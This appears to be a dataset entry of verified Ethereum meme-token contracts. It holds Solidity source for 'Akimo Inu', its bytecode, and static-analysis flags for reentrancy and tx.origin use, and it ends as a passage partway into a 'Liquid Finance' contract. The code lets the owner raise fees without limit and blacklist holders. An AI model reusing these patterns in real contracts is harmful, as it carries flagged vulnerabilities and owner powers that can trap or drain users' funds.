(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Akimo is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Akimo Inu"; string private constant _symbol = "Akimo"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 5; //Sell Fee uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0x3684A68958754fC9C1eD8c9c775d821655af3aDC); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 10000000 * 10**9; //1.0 uint256 public _maxWalletSize = 15000000 * 10**9; //1.5 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610563578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b806395d89b41146104c557806398a5c315146104f3578063a9059cbb14610513578063bfd792841461053357600080fd5b80638da5cb5b116100d15780638da5cb5b1461045c5780638eb59a5f1461047a5780638f70ccf71461048f5780638f9a55c0146104af57600080fd5b8063715018a61461041157806374010ece146104265780637d1db4a51461044657600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037b5780636b9990531461039b5780636d8aa8f8146103bb57806370a08231146103db57600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b578063658d4b7f1461035b57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102725780631694505e1461029257806318160ddd146102ca57806323b872dd146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c61565b6105fe565b005b34801561020a57600080fd5b50604080518082019091526009815268416b696d6f20496e7560b81b60208201525b6040516102399190611da8565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611bcd565b6106ab565b6040519015158152602001610239565b34801561027e57600080fd5b506101fc61028d366004611d5a565b6106c2565b34801561029e57600080fd5b50600c546102b2906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102d657600080fd5b506005545b604051908152602001610239565b3480156102f557600080fd5b50610262610304366004611b59565b6106f7565b34801561031557600080fd5b506102db60105481565b34801561032b57600080fd5b5060405160098152602001610239565b34801561034757600080fd5b50600d546102b2906001600160a01b031681565b34801561036757600080fd5b506101fc610376366004611b99565b610760565b34801561038757600080fd5b506101fc610396366004611bf8565b6107b5565b3480156103a757600080fd5b506101fc6103b6366004611ae9565b610869565b3480156103c757600080fd5b506101fc6103d6366004611d28565b6108b4565b3480156103e757600080fd5b506102db6103f6366004611ae9565b6001600160a01b031660009081526001602052604090205490565b34801561041d57600080fd5b506101fc6108fc565b34801561043257600080fd5b506101fc610441366004611d42565b610932565b34801561045257600080fd5b506102db600e5481565b34801561046857600080fd5b506000546001600160a01b03166102b2565b34801561048657600080fd5b506101fc610961565b34801561049b57600080fd5b506101fc6104aa366004611d28565b6109ac565b3480156104bb57600080fd5b506102db600f5481565b3480156104d157600080fd5b50604080518082019091526005815264416b696d6f60d81b602082015261022c565b3480156104ff57600080fd5b506101fc61050e366004611d42565b6109f4565b34801561051f57600080fd5b5061026261052e366004611bcd565b610a23565b34801561053f57600080fd5b5061026261054e366004611ae9565b600a6020526000908152604090205460ff1681565b34801561056f57600080fd5b506101fc610a30565b34801561058457600080fd5b506102db610593366004611b21565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611d42565b610a76565b3480156105ea57600080fd5b506101fc6105f9366004611ae9565b610aa5565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611dfb565b60405180910390fd5b60005b81518110156106a7576001600a600084848151811061066357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069f81611f0e565b915050610634565b5050565b60006106b8338484610bc0565b5060015b92915050565b6000546001600160a01b031633146106ec5760405162461bcd60e51b815260040161062890611dfb565b600691909155600755565b6000610704848484610ce4565b610756843361075185604051806060016040528060288152602001611f6b602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112b6565b610bc0565b5060019392505050565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062890611dfb565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107df5760405162461bcd60e51b815260040161062890611dfb565b60005b838110156108625761084f3386868481811061080e57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108239190611ae9565b85858581811061084357634e487b7160e01b600052603260045260246000fd5b905060200201356112f0565b508061085a81611f0e565b9150506107e2565b5050505050565b6000546001600160a01b031633146108935760405162461bcd60e51b815260040161062890611dfb565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108de5760405162461bcd60e51b815260040161062890611dfb565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161062890611dfb565b61093060006113d6565b565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062890611dfb565b600e55565b6000546001600160a01b0316331461098b5760405162461bcd60e51b815260040161062890611dfb565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109d65760405162461bcd60e51b815260040161062890611dfb565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a1e5760405162461bcd60e51b815260040161062890611dfb565b601055565b60006106b8338484610ce4565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b815260040161062890611dfb565b30600090815260016020526040902054610a7381611426565b50565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062890611dfb565b600f55565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062890611dfb565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600060046000610b4c6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b7d816113d6565b600160046000610b956000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610daa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610e0c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6001600160a01b03821660009081526004602052604090205460ff16158015610e4e57506001600160a01b03831660009081526004602052604090205460ff16155b1561119157600d54600160a01b900460ff16610eac5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f7420796574207374617274656400006044820152606401610628565b600e54811115610efe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f4057506001600160a01b0382166000908152600a602052604090205460ff16155b610f985760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b600d546001600160a01b0383811691161461110657600d546001600160a01b038481169116148015610fd35750600d54600160b81b900460ff165b1561108057326000908152600260205260409020544290610ff59060b4611ea0565b10801561102557506001600160a01b03821660009081526002602052604090205442906110239060b4611ea0565b105b6110805760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820152608401610628565b600f54816110a3846001600160a01b031660009081526001602052604090205490565b6110ad9190611ea0565b106111065760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b3060009081526001602052604090205460105481108015906111285760105491505b80801561113f5750600d54600160a81b900460ff16155b80156111595750600d546001600160a01b03868116911614155b801561116e5750600d54600160b01b900460ff165b1561118e5761117c82611426565b47801561118c5761118c4761162a565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d357506001600160a01b03831660009081526004602052604090205460ff165b806112055750600d546001600160a01b038581169116148015906112055750600d546001600160a01b03848116911614155b1561121257506000611280565b600d546001600160a01b03858116911614801561123d5750600c546001600160a01b03848116911614155b15611249576006546008555b600d546001600160a01b0384811691161480156112745750600c546001600160a01b03858116911614155b15611280576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112b084848484611664565b50505050565b600081848411156112da5760405162461bcd60e51b81526004016106289190611da8565b5060006112e78486611ef7565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526001909152918220546113419184906112b6565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113709083611685565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c49086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b1790556000611451606461144b8460556116eb565b9061176a565b9050600061145f8284611ef7565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114a757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115339190611b05565b8160018151811061155457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c5461157a9130911687610bc0565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b3908790600090869030904290600401611e30565b600060405180830381600087803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b5050505060006115fa83476117ac90919063ffffffff16565b905061161584611610606461144b85600f6116eb565b6117ee565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a7573d6000803e3d6000fd5b8061167a576116748484846112f0565b506112b0565b6112b08484846118a7565b6000806116928385611ea0565b9050838110156116e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b9392505050565b6000826116fa575060006106bc565b60006117068385611ed8565b9050826117138583611eb8565b146116e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b60006116e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ac565b60006116e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b6565b600c546118069030906001600160a01b031684610bc0565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561186e57600080fd5b505af1158015611882573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108629190611d7b565b60006118b384836119da565b905061191b8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112b69092919063ffffffff16565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461194a9082611685565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061199e9085815260200190565b60405180910390a350505050565b600081836119cd5760405162461bcd60e51b81526004016106289190611da8565b5060006112e78486611eb8565b6000806119f7606461144b600854866116eb90919063ffffffff16565b30600090815260016020526040902054909150611a149082611685565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a659085815260200190565b60405180910390a3611a7783826117ac565b949350505050565b8035611a8a81611f55565b919050565b60008083601f840112611aa0578081fd5b50813567ffffffffffffffff811115611ab7578182fd5b6020830191508360208260051b8501011115611ad257600080fd5b9250929050565b80358015158114611a8a57600080fd5b600060208284031215611afa578081fd5b81356116e481611f55565b600060208284031215611b16578081fd5b81516116e481611f55565b60008060408385031215611b33578081fd5b8235611b3e81611f55565b91506020830135611b4e81611f55565b809150509250929050565b600080600060608486031215611b6d578081fd5b8335611b7881611f55565b92506020840135611b8881611f55565b929592945050506040919091013590565b60008060408385031215611bab578182fd5b8235611bb681611f55565b9150611bc460208401611ad9565b90509250929050565b60008060408385031215611bdf578182fd5b8235611bea81611f55565b946020939093013593505050565b60008060008060408587031215611c0d578081fd5b843567ffffffffffffffff80821115611c24578283fd5b611c3088838901611a8f565b90965094506020870135915080821115611c48578283fd5b50611c5587828801611a8f565b95989497509550505050565b60006020808385031215611c73578182fd5b823567ffffffffffffffff80821115611c8a578384fd5b818501915085601f830112611c9d578384fd5b813581811115611caf57611caf611f3f565b8060051b604051601f19603f83011681018181108582111715611cd457611cd4611f3f565b604052828152858101935084860182860187018a1015611cf2578788fd5b8795505b83861015611d1b57611d0781611a7f565b855260019590950194938601938601611cf6565b5098975050505050505050565b600060208284031215611d39578081fd5b6116e482611ad9565b600060208284031215611d53578081fd5b5035919050565b60008060408385031215611d6c578182fd5b50508035926020909101359150565b600080600060608486031215611d8f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd457858101830151858201604001528201611db8565b81811115611de55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e7f5784516001600160a01b031683529383019391830191600101611e5a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb357611eb3611f29565b500190565b600082611ed357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef257611ef2611f29565b500290565b600082821015611f0957611f09611f29565b500390565b6000600019821415611f2257611f22611f29565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9acdfb0859e0e554a209253e2be5eae83a6627e0f23b6155d4e8e0b7d36fb7264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,747
0x005e0a40eaf563be05ec3458617e38d474bc5e56
/** *Submitted for verification at Etherscan.io on 2022-03-21 */ //SPDX-License-Identifier: UNLICENSED //Telegram: https://t.me/liquidfinance pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LIQFIN is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Liquid Finance"; string public constant symbol = unicode"LiqFin"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 15; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount); require((amount + balanceOf(address(to))) <= _maxHeldTokens); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (11 seconds)); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen); _approve(address(this), address(uniswapV2Router), 